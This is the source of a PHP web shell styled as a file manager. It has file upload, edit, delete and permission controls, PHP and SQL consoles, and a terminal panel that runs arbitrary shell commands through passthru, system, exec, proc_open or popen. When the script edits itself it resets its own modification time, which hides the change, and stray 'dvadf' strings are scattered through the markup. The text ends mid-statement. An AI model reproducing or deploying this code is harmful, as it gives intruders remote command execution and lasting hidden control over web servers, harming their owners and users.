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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
